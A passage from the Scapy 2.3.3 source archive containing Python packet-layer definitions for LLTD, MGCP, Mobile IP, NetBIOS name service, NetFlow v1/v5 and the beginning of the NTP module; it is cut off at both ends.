"hippiInterface", 58: "frameRelayInterconnect", 59: "aflane8023", 60: "aflane8025", 61: "cctEmul", 62: "fastEther", 63: "isdn", 64: "v11", 65: "v36", 66: "g703at64k", 67: "g703at2mb", 68: "qllc", 69: "fastEtherFX", 70: "channel", 71: "ieee80211", 72: "ibm370parChan", 73: "escon", 74: "dlsw", 75: "isdns", 76: "isdnu", 77: "lapd", 78: "ipSwitch", 79: "rsrb", 80: "atmLogical", 81: "ds0", 82: "ds0Bundle", 83: "bsc", 84: "async", 85: "cnr", 86: "iso88025Dtr", 87: "eplrs", 88: "arap", 89: "propCnls", 90: "hostPad", 91: "termPad", 92: "frameRelayMPI", 93: "x213", 94: "adsl", 95: "radsl", 96: "sdsl", 97: "vdsl", 98: "iso88025CRFPInt", 99: "myrinet", 100: "voiceEM", 101: "voiceFXO", 102: "voiceFXS", 103: "voiceEncap", 104: "voiceOverIp", 105: "atmDxi", 106: "atmFuni", 107: "atmIma", 108: "pppMultilinkBundle", 109: "ipOverCdlc", 110: "ipOverClaw", 111: "stackToStack", 112: "virtualIpAddress", 113: "mpc", 114: "ipOverAtm", 115: "iso88025Fiber", 116: "tdlc", 117: "gigabitEthernet", 118: "hdlc", 119: "lapf", 120: "v37", 121: "x25mlp", 122: "x25huntGroup", 123: "transpHdlc", 124: "interleave", 125: "fast", 126: "ip", 127: "docsCableMaclayer", 128: "docsCableDownstream", 129: "docsCableUpstream", 130: "a12MppSwitch", 131: "tunnel", 132: "coffee", 133: "ces", 134: "atmSubInterface", 135: "l2vlan", 136: "l3ipvlan", 137: "l3ipxvlan", 138: "digitalPowerline", 139: "mediaMailOverIp", 140: "dtm", 141: "dcn", 142: "ipForward", 143: "msdsl", 144: "ieee1394", 145: "if-gsn", 146: "dvbRccMacLayer", 147: "dvbRccDownstream", 148: "dvbRccUpstream", 149: "atmVirtual", 150: "mplsTunnel", 151: "srp", 152: "voiceOverAtm", 153: "voiceOverFrameRelay", 154: "idsl", 155: "compositeLink", 156: "ss7SigLink", 157: "propWirelessP2P", 158: "frForward", 159: "rfc1483", 160: "usb", 161: "ieee8023adLag", 162: "bgppolicyaccounting", 163: "frf16MfrBundle", 164: "h323Gatekeeper", 165: "h323Proxy", 166: "mpls", 167: "mfSigLink", 168: "hdsl2", 169: "shdsl", 170: "ds1FDL", 171: "pos", 172: "dvbAsiIn", 173: "dvbAsiOut", 174: "plc", 175: "nfas", 176: "tr008", 177: "gr303RDT", 178: "gr303IDT", 179: "isup", 180: "propDocsWirelessMaclayer", 181: "propDocsWirelessDownstream", 182: "propDocsWirelessUpstream", 183: "hiperlan2", 184: "propBWAp2Mp", 185: "sonetOverheadChannel", 186: "digitalWrapperOverheadChannel", 187: "aal2", 188: "radioMAC", 189: "atmRadio", 190: "imt", 191: "mvl", 192: "reachDSL", 193: "frDlciEndPt", 194: "atmVciEndPt", 195: "opticalChannel", 196: "opticalTransport", 197: "propAtm", 198: "voiceOverCable", 199: "infiniband", 200: "teLink", 201: "q2931", 202: "virtualTg", 203: "sipTg", 204: "sipSig", 205: "docsCableUpstreamChannel", 206: "econet", 207: "pon155", 208: "pon622", 209: "bridge", 210: "linegroup", 211: "voiceEMFGD", 212: "voiceFGDEANA", 213: "voiceDID", 214: "mpegTransport", 215: "sixToFour", 216: "gtp", 217: "pdnEtherLoop1", 218: "pdnEtherLoop2", 219: "opticalChannelGroup", 220: "homepna", 221: "gfp", 222: "ciscoISLvlan", 223: "actelisMetaLOOP", 224: "fcipLink", 225: "rpr", 226: "qam", 227: "lmp", 228: "cblVectaStar", 229: "docsCableMCmtsDownstream", 230: "adsl2", 231: "macSecControlledIF", 232: "macSecUncontrolledIF", 233: "aviciOpticalEther", 234: "atmbond", 235: "voiceFGDOS", 236: "mocaVersion1", 237: "ieee80216WMAN", 238: "adsl2plus", 239: "dvbRcsMacLayer", 240: "dvbTdm", 241: "dvbRcsTdma", 242: "x86Laps", 243: "wwanPP", 244: "wwanPP2", 245: "voiceEBS", 246: "ifPwType", 247: "ilan", 248: "pip", 249: "aluELP", 250: "gpon", 251: "vdsl2", 252: "capwapDot11Profile", 253: "capwapDot11Bss", 254: "capwapWtpVirtualRadio", 255: "bits", 256: "docsCableUpstreamRfPort", 257: "cableDownstreamRfPort", 258: "vmwareVirtualNic", 259: "ieee802154", 260: "otnOdu", 261: "otnOtu", 262: "ifVfiType", 263: "g9981", 264: "g9982", 265: "g9983", 266: "aluEpon", 267: "aluEponOnu", 268: "aluEponPhysicalUni", 269: "aluEponLogicalLink", 271: "aluGponPhysicalUni", 272: "vmwareNicTeam", 277: "docsOfdmDownstream", 278: "docsOfdmaUpstream", 279: "gfast", 280: "sdci", }), ] LLTDAttributePhysicalMedium = _register_lltd_specific_class(3)( LLTDAttributePhysicalMedium ) class LLTDAttributeIPv4Address(LLTDAttribute): name = "LLTD Attribute - IPv4 Address" fields_desc = [ ByteField("len", 4), IPField("ipv4", "0.0.0.0"), ] LLTDAttributeIPv4Address = _register_lltd_specific_class(7)( LLTDAttributeIPv4Address ) class LLTDAttributeIPv6Address(LLTDAttribute): name = "LLTD Attribute - IPv6 Address" fields_desc = [ ByteField("len", 16), IP6Field("ipv6", "::"), ] LLTDAttributeIPv6Address = _register_lltd_specific_class(8)( LLTDAttributeIPv6Address ) class LLTDAttribute80211MaxRate(LLTDAttribute): name = "LLTD Attribute - 802.11 Max Rate" fields_desc = [ ByteField("len", 2), ShortField("rate", 0), ] LLTDAttribute80211MaxRate = _register_lltd_specific_class(9)( LLTDAttribute80211MaxRate ) class LLTDAttributePerformanceCounterFrequency(LLTDAttribute): name = "LLTD Attribute - Performance Counter Frequency" fields_desc = [ ByteField("len", 8), LongField("freq", 0), ] LLTDAttributePerformanceCounterFrequency = _register_lltd_specific_class(10)( LLTDAttributePerformanceCounterFrequency ) class LLTDAttributeLinkSpeed(LLTDAttribute): name = "LLTD Attribute - Link Speed" fields_desc = [ ByteField("len", 4), IntField("speed", 0), ] LLTDAttributeLinkSpeed = _register_lltd_specific_class(12)( LLTDAttributeLinkSpeed ) class LLTDAttributeLargeTLV(LLTDAttribute): name = "LLTD Attribute - Large TLV" fields_desc = [ ByteField("len", 0), ] LLTDAttributeLargeTLV = _register_lltd_specific_class(14, 24, 26)( LLTDAttributeLargeTLV ) class LLTDAttributeMachineName(LLTDAttribute): name = "LLTD Attribute - Machine Name" fields_desc = [ FieldLenField("len", None, length_of="hostname", fmt="B"), StrLenFieldUtf16("hostname", "", length_from=lambda pkt: pkt.len), ] def mysummary(self): return (self.sprintf("Hostname: %r" % self.hostname), [LLTD, LLTDAttributeHostID]) LLTDAttributeMachineName = _register_lltd_specific_class(15)( LLTDAttributeMachineName ) class LLTDAttributeDeviceUUID(LLTDAttribute): name = "LLTD Attribute - Device UUID" fields_desc = [ FieldLenField("len", None, length_of="value", fmt="B"), StrLenField("uuid", "\x00" * 16, length_from=lambda pkt: pkt.len), ] LLTDAttributeDeviceUUID = _register_lltd_specific_class(18)( LLTDAttributeDeviceUUID ) class LLTDAttributeQOSCharacteristics(LLTDAttribute): name = "LLTD Attribute - QoS Characteristics" fields_desc = [ ByteField("len", 4), FlagsField("flags", 0, 3, "EQP"), BitField("reserved1", 0, 13), ShortField("reserved2", 0), ] LLTDAttributeQOSCharacteristics = _register_lltd_specific_class(20)( LLTDAttributeQOSCharacteristics ) class LLTDAttribute80211PhysicalMedium(LLTDAttribute): name = "LLTD Attribute - 802.11 Physical Medium" fields_desc = [ ByteField("len", 1), ByteEnumField("medium", 0, { 0: "Unknown", 1: "FHSS 2.4 GHz", 2: "DSSS 2.4 GHz", 3: "IR Baseband", 4: "OFDM 5 GHz", 5: "HRDSSS", 6: "ERP", }), ] LLTDAttribute80211PhysicalMedium = _register_lltd_specific_class(21)( LLTDAttribute80211PhysicalMedium ) class LLTDAttributeSeesList(LLTDAttribute): name = "LLTD Attribute - Sees List Working Set" fields_desc = [ ByteField("len", 2), ShortField("max_entries", 0), ] LLTDAttributeSeesList = _register_lltd_specific_class(25)( LLTDAttributeSeesList ) bind_layers(Ether, LLTD, type=0x88d9) bind_layers(LLTD, LLTDDiscover, tos=0, function=0) bind_layers(LLTD, LLTDDiscover, tos=1, function=0) bind_layers(LLTD, LLTDHello, tos=0, function=1) bind_layers(LLTD, LLTDHello, tos=1, function=1) bind_layers(LLTD, LLTDEmit, tos=0, function=2) bind_layers(LLTD, LLTDQueryResp, tos=0, function=7) bind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11) bind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12) bind_layers(LLTDHello, LLTDAttribute) bind_layers(LLTDAttribute, LLTDAttribute) bind_layers(LLTDAttribute, Padding, type=0) bind_layers(LLTDEmiteeDesc, Padding) bind_layers(LLTDRecveeDesc, Padding) # Utils ######## class LargeTlvBuilder(object): """An object to build content fetched through LLTDQueryLargeTlv / LLTDQueryLargeTlvResp packets. Usable with a PacketList() object: >>> p = LargeTlvBuilder() >>> p.parse(rdpcap('capture_file.cap')) Or during a network capture: >>> p = LargeTlvBuilder() >>> sniff(filter="ether proto 0x88d9", prn=p.parse) To get the result, use .get_data() """ def __init__(self): self.types_offsets = {} self.data = {} def parse(self, plist): """Update the builder using the provided `plist`. `plist` can be either a Packet() or a PacketList(). """ if not isinstance(plist, PacketList): plist = PacketList(plist) for pkt in plist[LLTD]: if LLTDQueryLargeTlv in pkt: key = "%s:%s:%d" % (pkt.real_dst, pkt.real_src, pkt.seq) self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type, pkt[LLTDQueryLargeTlv].offset) elif LLTDQueryLargeTlvResp in pkt: try: key = "%s:%s:%d" % (pkt.real_src, pkt.real_dst, pkt.seq) content, offset = self.types_offsets[key] except KeyError: continue loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len) key = "%s > %s [%s]" % ( pkt.real_src, pkt.real_dst, LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content), ) data = self.data.setdefault(key, array("B")) datalen = len(data) if datalen < loc.stop: data.extend(array("B", "\x00" * (loc.stop - datalen))) data[loc] = array("B", pkt[LLTDQueryLargeTlvResp].value) def get_data(self): """Returns a dictionary object, keys are strings "source > destincation [content type]", and values are the content fetched, also as a string. """ return dict((key, "".join(chr(byte) for byte in data)) for key, data in self.data.iteritems()) scapy-2.3.3/scapy/layers/mgcp.py000066400000000000000000000031631300136037300165530ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ MGCP (Media Gateway Control Protocol) [RFC 2805] """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class MGCP(Packet): name = "MGCP" longname = "Media Gateway Control Protocol" fields_desc = [ StrStopField("verb","AUEP"," ", -1), StrFixedLenField("sep1"," ",1), StrStopField("transaction_id","1234567"," ", -1), StrFixedLenField("sep2"," ",1), StrStopField("endpoint","dummy@dummy.net"," ", -1), StrFixedLenField("sep3"," ",1), StrStopField("version","MGCP 1.0 NCS 1.0","\x0a", -1), StrFixedLenField("sep4","\x0a",1), ] #class MGCP(Packet): # name = "MGCP" # longname = "Media Gateway Control Protocol" # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), # ByteField("code0",0), # ByteField("code1",0), # ByteField("code2",0), # ByteField("code3",0), # ByteField("code4",0), # IntField("trasid",0), # IntField("req_time",0), # ByteField("is_duplicate",0), # ByteField("req_available",0) ] # bind_layers( UDP, MGCP, dport=2727) bind_layers( UDP, MGCP, sport=2727) scapy-2.3.3/scapy/layers/mobileip.py000066400000000000000000000031521300136037300174230ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Mobile IP. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP,UDP class MobileIP(Packet): name = "Mobile IP (RFC3344)" fields_desc = [ ByteEnumField("type", 1, {1:"RRQ", 3:"RRP"}) ] class MobileIPRRQ(Packet): name = "Mobile IP Registration Request (RFC3344)" fields_desc = [ XByteField("flags", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), IPField("coaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPRRP(Packet): name = "Mobile IP Registration Reply (RFC3344)" fields_desc = [ ByteField("code", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPTunnelData(Packet): name = "Mobile IP Tunnel Data Message (RFC3519)" fields_desc = [ ByteField("nexthdr", 4), ShortField("res", 0) ] bind_layers( UDP, MobileIP, sport=434) bind_layers( UDP, MobileIP, dport=434) bind_layers( MobileIP, MobileIPRRQ, type=1) bind_layers( MobileIP, MobileIPRRP, type=3) bind_layers( MobileIP, MobileIPTunnelData, type=4) bind_layers( MobileIPTunnelData, IP, nexthdr=4) scapy-2.3.3/scapy/layers/netbios.py000066400000000000000000000256131300136037300172740ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ NetBIOS over TCP/IP [RFC 1001/1002] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP,TCP from scapy.layers.l2 import SourceMACField class NetBIOS_DS(Packet): name = "NetBIOS datagram service" fields_desc = [ ByteEnumField("type",17, {17:"direct_group"}), ByteField("flags",0), XShortField("id",0), IPField("src","127.0.0.1"), ShortField("sport",138), ShortField("len",None), ShortField("ofs",0), NetBIOSNameField("srcname",""), NetBIOSNameField("dstname",""), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-14 p = p[:10]+struct.pack("!H", l)+p[12:] return p # ShortField("length",0), # ShortField("Delimitor",0), # ByteField("command",0), # ByteField("data1",0), # ShortField("data2",0), # ShortField("XMIt",0), # ShortField("RSPCor",0), # StrFixedLenField("dest","",16), # StrFixedLenField("source","",16), # # ] # #NetBIOS # Name Query Request # Node Status Request class NBNSQueryRequest(Packet): name="NBNS query request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x0110), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"})] # Name Registration Request # Name Refresh Request # Name Release Request or Demand class NBNSRequest(Packet): name="NBNS request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x2910), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",1), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), ShortEnumField("RR_NAME",0xC00C,{0xC00C:"Label String Pointer to QUESTION_NAME"}), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{00:"B node",01:"P node",02:"M node",03:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response # Name Registration Response class NBNSQueryResponse(Packet): name="NBNS query response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0x493e0), ShortField("RDLENGTH", 6), ShortField("NB_FLAGS", 0), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response (negative) # Name Release Response class NBNSQueryResponseNegative(Packet): name="NBNS query response (negative)" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8506), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{00:"B node",01:"P node",02:"M node",03:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Node Status Response class NBNSNodeStatusResponse(Packet): name="NBNS Node Status Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x21, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",83), ByteField("NUM_NAMES",1)] # Service for Node Status Response class NBNSNodeStatusResponseService(Packet): name="NBNS Node Status Response Service" fields_desc = [StrFixedLenField("NETBIOS_NAME","WINDOWS ",15), ByteEnumField("SUFFIX",0,{0:"workstation",0x03:"messenger service",0x20:"file server service",0x1b:"domain master browser",0x1c:"domain controller", 0x1e:"browser election service"}), ByteField("NAME_FLAGS",0x4), ByteEnumField("UNUSED",0,{0:"unused"})] # End of Node Status Response packet class NBNSNodeStatusResponseEnd(Packet): name="NBNS Node Status Response" fields_desc = [SourceMACField("MAC_ADDRESS"), BitField("STATISTICS",0,57*8)] # Wait for Acknowledgement Response class NBNSWackResponse(Packet): name="NBNS Wait for Acknowledgement Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0xBC07), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 2), ShortField("RDLENGTH",2), BitField("RDATA",10512,16)] #10512=0010100100010000 class NBTDatagram(Packet): name="NBT Datagram Packet" fields_desc= [ByteField("Type", 0x10), ByteField("Flags", 0x02), ShortField("ID", 0), IPField("SourceIP", "127.0.0.1"), ShortField("SourcePort", 138), ShortField("Length", 272), ShortField("Offset", 0), NetBIOSNameField("SourceName","windows"), ShortEnumField("SUFFIX1",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), NetBIOSNameField("DestinationName","windows"), ShortEnumField("SUFFIX2",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0)] class NBTSession(Packet): name="NBT Session Packet" fields_desc= [ByteEnumField("TYPE",0,{0x00:"Session Message",0x81:"Session Request",0x82:"Positive Session Response",0x83:"Negative Session Response",0x84:"Retarget Session Response",0x85:"Session Keepalive"}), BitField("RESERVED",0x00,7), BitField("LENGTH",0,17)] bind_layers( UDP, NBNSQueryRequest, dport=137) bind_layers( UDP, NBNSRequest, dport=137) bind_layers( UDP, NBNSQueryResponse, sport=137) bind_layers( UDP, NBNSQueryResponseNegative, sport=137) bind_layers( UDP, NBNSNodeStatusResponse, sport=137) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, ) bind_layers( UDP, NBNSWackResponse, sport=137) bind_layers( UDP, NBTDatagram, dport=138) bind_layers( TCP, NBTSession, dport=139) scapy-2.3.3/scapy/layers/netflow.py000066400000000000000000000067171300136037300173130ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Netflow V5 appended by spaceB0x and Guillaume Valadon """ Cisco NetFlow protocol v1 and v5 """ from scapy.fields import * from scapy.packet import * from scapy.data import IP_PROTOS class NetflowHeader(Packet): name = "Netflow Header" fields_desc = [ ShortField("version", 1) ] ########################################### ### Netflow Version 1 ########################################### class NetflowHeaderV1(Packet): name = "Netflow Header v1" fields_desc = [ ShortField("count", 0), IntField("sysUptime", 0), IntField("unixSecs", 0), IntField("unixNanoSeconds", 0) ] class NetflowRecordV1(Packet): name = "Netflow Record v1" fields_desc = [ IPField("ipsrc", "0.0.0.0"), IPField("ipdst", "0.0.0.0"), IPField("nexthop", "0.0.0.0"), ShortField("inputIfIndex", 0), ShortField("outpuIfIndex", 0), IntField("dpkts", 0), IntField("dbytes", 0), IntField("starttime", 0), IntField("endtime", 0), ShortField("srcport", 0), ShortField("dstport", 0), ShortField("padding", 0), ByteField("proto", 0), ByteField("tos", 0), IntField("padding1", 0), IntField("padding2", 0) ] bind_layers( NetflowHeader, NetflowHeaderV1, version=1) bind_layers( NetflowHeaderV1, NetflowRecordV1 ) bind_layers( NetflowRecordV1, NetflowRecordV1 ) ######################################### ### Netflow Version 5 ######################################### class NetflowHeaderV5(Packet): name = "Netflow Header v5" fields_desc = [ ShortField("count", 0), IntField("sysUptime", 0), IntField("unixSecs", 0), IntField("unixNanoSeconds", 0), IntField("flowSequence",0), ByteField("engineType", 0), ByteField("engineID", 0), ShortField("samplingInterval", 0) ] class NetflowRecordV5(Packet): name = "Netflow Record v5" fields_desc = [ IPField("src", "127.0.0.1"), IPField("dst", "127.0.0.1"), IPField("nexthop", "0.0.0.0"), ShortField("input", 0), ShortField("output", 0), IntField("dpkts", 1), IntField("dOctets", 60), IntField("first", 0), IntField("last", 0), ShortField("srcport", 0), ShortField("dstport", 0), ByteField("pad1", 0), FlagsField("tcpFlags", 0x2, 8, "FSRPAUEC"), ByteEnumField("prot", IP_PROTOS["tcp"], IP_PROTOS), ByteField("tos",0), ShortField("src_as", 0), ShortField("dst_as", 0), ByteField("src_mask", 0), ByteField("dst_mask", 0), ShortField("pad2", 0)] bind_layers( NetflowHeader, NetflowHeaderV5, version=5) bind_layers( NetflowHeaderV5, NetflowRecordV5 ) bind_layers( NetflowRecordV5, NetflowRecordV5 ) scapy-2.3.3/scapy/layers/ntp.py000066400000000000000000001602671300136037300164370ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more informations # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ NTP (Network Time Protocol). References : RFC 5905, RC 1305, ntpd source code """ import struct import time import datetime from scapy.packet import Packet, bind_layers from scapy.fields import (BitField, BitEnumField, ByteField, ByteEnumField, \ XByteField, SignedByteField, FlagsField, ShortField, LEShortField, IntField,\ LEIntField, FixedPointField, IPField, StrField, StrFixedLenField,\ StrFixedLenEnumField, PacketField, PacketLenField, PacketListField,\ FieldListField, ConditionalField, PadField) from scapy.layers.inet6 import IP6Field from scapy.layers.inet import UDP from scapy.utils import lhex from scapy.config import conf ############################################################################# ##### Constants ############################################################################# _NTP_AUTH_MD5_MIN_SIZE = 68 _NTP_EXT_MIN_SIZE = 16 _NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE _NTP_AUTH_MD5_TAIL_SIZE = 20 _NTP_AUTH_MD5_DGST_SIZE = 16 _NTP_PRIVATE_PACKET_MIN_SIZE = 8 # ntpd "Private" messages are the shortest _NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE _NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28 # seconds between 01-01-1900 and 01-01-1970 _NTP_BASETIME = 2208988800 # include/ntp.h _NTP_SHIFT = 8 _NTP_HASH_SIZE = 128 ############################################################################# ##### Fields and utilities ############################################################################# class XLEShortField(LEShortField): """ XLEShortField which value is encoded in little endian. """ def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class XStrFixedLenField(StrFixedLenField): """ StrFixedLenField which value is printed as hexadecimal. """ def i2repr(self, pkt, x): output = "" length = len(x) len_from_val = self.length_from(pkt) max_idx = length if length < len_from_val else len_from_val for i in range(0, max_idx): output += x[i].encode("hex") return output class TimeStampField(FixedPointField): """ This field handles the timestamp fields in the NTP header. """ def __init__(self, name, default): FixedPointField.__init__(self, name, default, 64, 32) def i2repr(self, pkt, val): if val is None: return "--" val = self.i2h(pkt, val) if val < _NTP_BASETIME: return val return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val - _NTP_BASETIME)) def any2i(self, pkt, val): if isinstance(val, basestring): val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME elif isinstance(val, datetime.datetime): val = int(val.strftime("%s")) + _NTP_BASETIME return FixedPointField.any2i(self, pkt, val) def i2m(self, pkt, val): if val is None: val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME) return FixedPointField.i2m(self, pkt, val) def get_cls(name, fallback_cls=conf.raw_layer): """ Returns class named "name" if it exists, fallback_cls otherwise. """ return globals().get(name, fallback_cls) ############################################################################# ##### NTP ############################################################################# # RFC 5905 / Section 7.3 _leap_indicator = { 0: "no warning", 1: "last minute of the day has 61 seconds", 2: "last minute of the day has 59 seconds", 3: "unknown (clock unsynchronized)" } # RFC 5905 / Section 7.3 _ntp_modes = { 0: "reserved", 1: "symmetric active", 2: "symmetric passive", 3: "client", 4: "server", 5: "broadcast", 6: "NTP control message", 7: "reserved for private use" } # RFC 5905 / Section 7.3 _reference_identifiers = { "GOES": "Geosynchronous Orbit Environment Satellite", "GPS ": "Global Position System", "GAL ": "Galileo Positioning System", "PPS ": "Generic pulse-per-second", "IRIG": "Inter-Range Instrumentation Group", "WWVB": "LF Radio WWVB Ft. Collins, CO 60 kHz", "DCF ": "LF Radio DCF77 Mainflingen, DE 77.5 kHz", "HBG ": "LF Radio HBG Prangins, HB 75 kHz", "MSF ": "LF Radio MSF Anthorn, UK 60 kHz", "JJY ": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz", "LORC": "MF Radio LORAN C station, 100 kHz", "TDF ": "MF Radio Allouis, FR 162 kHz", "CHU ": "HF Radio CHU Ottawa, Ontario", "WWV ": "HF Radio WWV Ft. Collins, CO", "WWVH": "HF Radio WWVH Kauai, HI", "NIST": "NIST telephone modem", "ACTS": "NIST telephone modem", "USNO": "USNO telephone modem", "PTB ": "European telephone modem", } # RFC 5905 / Section 7.4 _kiss_codes = { "ACST": "The association belongs to a unicast server.", "AUTH": "Server authentication failed.", "AUTO": "Autokey sequence failed.", "BCST": "The association belongs to a broadcast server.", "CRYP": "Cryptographic authentication or identification failed.", "DENY": "Access denied by remote server.", "DROP": "Lost peer in symmetric mode.", "RSTR": "Access denied due to local policy.", "INIT": "The association has not yet synchronized for the first time.", "MCST": "The association belongs to a dynamically discovered server.", "NKEY": "No key found.", "RATE": "Rate exceeded.", "RMOT": "Alteration of association from a remote host running ntpdc." } # Used by _ntp_dispatcher to instantiate the appropriate class _ntp_cls_by_mode = { 0: "NTPHeader", 1: "NTPHeader", 2: "NTPHeader", 3: "NTPHeader", 4: "NTPHeader", 5: "NTPHeader", 6: "NTPControl", 7: "NTPPrivate" } def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ cls = conf.raw_layer # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is 